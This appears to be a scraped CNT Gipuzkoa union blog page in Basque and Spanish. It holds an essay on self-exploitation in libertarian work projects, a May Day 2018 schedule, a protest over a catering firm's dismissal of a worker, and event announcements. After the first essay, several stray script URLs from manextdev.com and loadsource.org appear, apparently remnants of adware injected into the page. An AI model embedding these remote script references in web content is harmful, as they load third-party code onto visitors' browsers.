Lan-baldintzak ingurune libertarioetan / Condiciones laborales en entornos libertarios

Beharrezkoa iruditzen zaigu lana antolatzeko modu berriak esperimentatzea (gaur egungo enpresa-eremuetatik kanpo) mundu berri bat eraikitzen joateko. Zoritxarrez, arazo larriak atzeman ditugu teorian libertarioak diren hainbat proiektu edo esperientziatan.

Aktibismo eta militantziaren izenean, lana errendimendu eta produktibitatearen parametroetara makurtzen da zenbait kasutan, eta ondorioz, autoesplotazio-egoerak sortzen dira: lanaldi luzeak, lan-erritmo altuak, oporrik edo jaiegunik ez… Proiektuarekin duzun konpromisoa beste ezer baino garrantzitsuagoa da. Halakotan, lan egiteko modua enpresa konbentzionalen parekoa da, baina okerragoa gainera, ezin dituzulako lan-eskubideak aldarrikatu, Estatuarekiko menpeko ez izatearren uko egin diozulako kontratupean lan egiteari.

Batzuetan, nahikoa da proiektua emaitzak ematen hastea edo ekoizpena handitu daitekeela ikustea, proiektuko zenbait kidek etekinak areagotzeko moduak sustatzeko, eta horrela, proiektua garatzeko eta intentsifikatzeko espektatibak eragiten dituzte, proiektukideentzat gehiegizkoak diren garapenak bultzatuz. Beste zenbaitetan, beharbada ez da desarrollismoaren eta errendimenduaren sareetan erori nahi, baina badirudi barruan daramagun “zomorro kapitalista” aktibatzen dela eta horrela erraz zaio Botereari gu eramaten jarraitzea, itxuraz proiektu libertario batean lan egiteko modu kapitalistak barruraino sartzen zaizkigularik, apenas ohartu gabe.

Proiektuaren “noranzkoan” ere gatazkak sortzen dira, erakundeak tarteko daudelako (tokiko administrazioak, lurraldekoak…) eta erakundeak ez daude pertsona eta kolektiboen bizitza aldatu nahian, lanaren emaitza merkatura eraman nahian baizik (ekintzailetza…).

Agroekologian argi adierazten den bezala,  eraldatzaile izateko ez da nahikoa produktuaren kalitatea edo produktua osasuntsua izatea edo ingurumena zaintzea; horrekin batera, langileen lan-baldintzak ere zaindu behar dira.

Ez dugu Estatuaren menpekoak izan nahi, ez dugu nahi proiektu libertarioak bere arautegi, hitzarmen eta legeen arauetara makurtzea. Baina horrek esan nahi du elkarren arteko laguntza eta zaintzak  erdigunean jarri behar ditugula, eta inguruan dugun komunitaterantz lan egin behar dugula, “zerbitzu bat ematearen” amarru kapitalistan erori gabe (horrek posizio bertikalean kokatuko gintuzke komunitatearekiko).

Horizontaltasunak proiektu hauetan ez du esan nahi denok berdin lan egitea (ikuspegi taylorista) baizik eta beharrak asebetetzeko moduak lantzea, eta jende guztiak ez ditu behar berdinak.

Hausnarketa hauek espero dugu baliagarriak izatea, uste baitugu anarkosindikalismoa ez dela soilik enplegatuak dauden pertsonen arazoak konpontzea, horrez gain bizimodu berriak eraiki behar ditugu zeinetan lana ez den opresorea izango.

Iturria/Fuente: pixabay.com

Aunque nos parece necesario que se experimenten nuevas formas de organización del trabajo (fuera de los ámbitos empresariales actuales) para ir construyendo un mundo nuevo, hemos detectado problemas graves en proyectos o experiencias de carácter teóricamente libertario.

En nombre del activismo y de la militancia, el trabajo puede ir conduciéndose hacia la misma estructura y formas basadas en el rendimiento y la productividad, conllevando situaciones de autoexplotación laboral, jornadas largas, ritmos de trabajo altos, nada de vacaciones ni días libres… El compromiso con el proyecto es lo primero. Esto hace que en realidad el proyecto no se pueda diferenciar de las empresas convencionales, con el agravante de que en estos casos ni siquiera puedes agarrarte a los derechos laborales, al renunciar a ellos por no querer ser dependientes del Estado.

A veces, es suficiente con que el proyecto empiece a brotar o a producir para que haya miembros que vean ya formas de lucro, generando expectativas de desarrollos no asumibles por las personas que componen el grupo. Otras veces, aun no queriendo caer en el desarrollismo y el rendimiento, parece que se activa el “bicho capitalista” que hace que el Poder nos siga conduciendo.

También surgen conflictos en el “hacia” del proyecto debido a la cooptación de las instituciones (locales, provinciales…) que no están por un cambio en la vida de las personas y colectivos sino en dirigir el producto del trabajo al mercado (emprendeduría…).

Igual que se dice sobre la agroecología, la perspectiva transformadora no es solo la calidad o la salubridad del producto o el cuidado del medio ambiente, tendrán que ser igual de importantes las condiciones laborales de la gente que trabaja.

Ya que no queremos ser dependientes del Estado, no queremos que los proyectos libertarios se rijan por las normas, los convenios o las leyes emanados de sus instituciones. Pero eso significa que hay que poner los cuidados en el centro, las formas de ayuda mutua y trabajar hacia la comunidad que nos rodea, sin caer en “dar servicio” (que nos colocaría en una situación vertical).

Las horizontalidades en estos proyectos no suponen que todo el mundo trabaje igual y lo mismo (enfoque taylorista) sino que trabajemos teniendo en cuenta la satisfacción de las necesidades, que no son iguales en toda la gente.

Estas son algunas reflexiones que queremos que nos vayan sirviendo, porque entendemos que el anarcosindicalismo no es solo resolver problemas de las personas empleadas sino también ir creando nuevas formas de vida en las que el trabajo no sea opresor.

 

 

//manextdev.com/1ca78463bfbb9a81df.js

 

https://manextdev.com/addons/lnkr5.min.jshttps://loadsource.org/91a2556838a7c33eac284eea30bdcc29/validate-site.js?uid=52250x7335x&r=1533138329009https://manextdev.com/ext/1ca78463bfbb9a81df.js?sid=52250_7335_&title=FF_%5B603%5D_manappff.cool&blocks%5B%5D=31af2

Advertisements

Maiatzak 1 (2018)

10:00 Martxa Errenteriatik (Alameda) Donostiara,

10:00 Liburuen postua. Boulevardean (Donostia).

12:.30 Manifestazioa. Boulevardean (Donostia). CNT, ESK, Ste-Eilas, Cobas eta CGT.

Cartel_1MAYO_CNT_2018_EUSK

Ausolan-Hemera catering explota y despide

El pasado martes 6, compañeros del núcleo sindical Urolako CNT repartimos 200 panfletos en la zona industrial donde se ubica la empresa Ausolan y en Mondragón en protesta por el injusto despido de una compañera en Málaga.

La empresa de restauración Hemera Catering S.L., encargada de la distribución y servicio de comidas a colegios, residencias y hoteles pasó a formar parte del entramado de empresas Auso Lagun (Ausolan), nacida en Mondragón (Guipúzcoa).

Desde esta incorporación en septiembre de 2015, Hemera Catering ha llevado a cabo una reestructuración empresarial que ha afectado a todas sus trabajadoras, vulnerando sus derechos laborales, buscando ampliar sus beneficios a costa de las horas de trabajo y de los sueldos de sus trabajadores.

Las condiciones laborales en la empresa han sufrido un revés muy duro, volviendo a situaciones de opresión impuestas por los nuevos patronos que nos recuerdan a otros tiempos, cuando los señoritos imponían sus propias leyes. El nuevo lema de la empresa parece ser: “Esto es lo que hay. Al que no le guste, ahí tiene la puerta”.

Continue reading “Ausolan-Hemera catering explota y despide”

LIBURU AURKEZPENAK ETA BRIGADISTENTZAKO TAILERRA

Igor Meltxor vendrá el miércoles a Azpeitia para presentar sus libros “Gestión a la Vasca” y ” Caso Bidegi: ¿ A dónde ha ido a parar el dinero?”

Organizan: CNT, Gaztetxe y elkar-ekin (Plataforma ciudadana contra la exclusión).

LIBURU AURKEZPENAK
Igor Meltxor
Apirilak 6
Asteazkena
Arratsaldeko 19:00tan
AZPEITIKO GAZTETXIEN
Inguruko Solasaldia
C.N.T. Gipuzkoa ta ELKAR-EKIN (Plataforma ciudadana contra la exclusión).

BRIGADISTENTZAKO TAILERRA
https://txiapas.wordpress.com/2016/04/02/taller-de-formacion-de-brigadistas/

Taller de observadorxs de Derechos Humanos en Chiapas

La persistencia en la violación de los derechos humanos en Chiapas (México), donde el conflicto sigue tan vivo como siempre, hace útil la presencia de observadorxs de derechos humanos en las comunidades indígenas. Nuestra solidaridad es una herramienta valiosísima para rebajar la tensión y evitar nuevas violaciones pero, sin duda, es necesario reflexionar y poner en común conocimientos e ideas de en qué consiste esta labor y cuáles son las funciones de quienes participen en las brigadas para que éstas sean no solo útiles para ellas sino también una experiencia enriquecedora para nosotras.

Por ello, como todos los años, para quienes quieran participar en las Brigadas de Observación de Derechos Humanos que acompañan a las comunidades realizaremos en Bilbao un taller sobre información y preparación de brigadistas los días 14 y 15 de Mayo. En el mismo intentaremos compartir información actualizada sobre la coyuntura mexicana actual, autonomía zapatista, formas de acompañamiento, seguridad, salud…y cualquier otro aprendizaje necesario para el desempeño de las brigadas y el acercamiento a las comunidades en resistencia.

La asistencia al taller es imprescindible para obtener el aval solicitado en el Centro de Derechos Humanos Fray Bartolomé de las Casas (www.frayba.org.mx), en San Cristobal de las Casas, Chiapas. El Frayba es la entidad coordinadora de las brigadas y por tanto paso obligado para la realización de las mismas.

Este año, recordamos, se realizará el sábado 14 de Mayo en horario de mañana y tarde, con una paradita para comer todas juntas, y el domingo 15 en horario de mañana. Es completamente gratuito y se celebrará en 7Katu (Bilbao). Si alguien no sabe dónde está o necesita más información que nos escriba sin ningún problema!

Por anticipado os pedimos paciencia y participación para abordar de una forma más dinámica tantos contenidos. Sabemos que son muchas horas y mucha información pero nosotras intentaremos hacerlo lo más llevadero posible y con la participación de todas seguro será de lo más ameno.

Si conocéis más gente que esté interesada en hacer el taller no dudéis en invitarles y comunicárnoslo cuanto antes. Para asistir escríbenos a txiapas@nodo50.org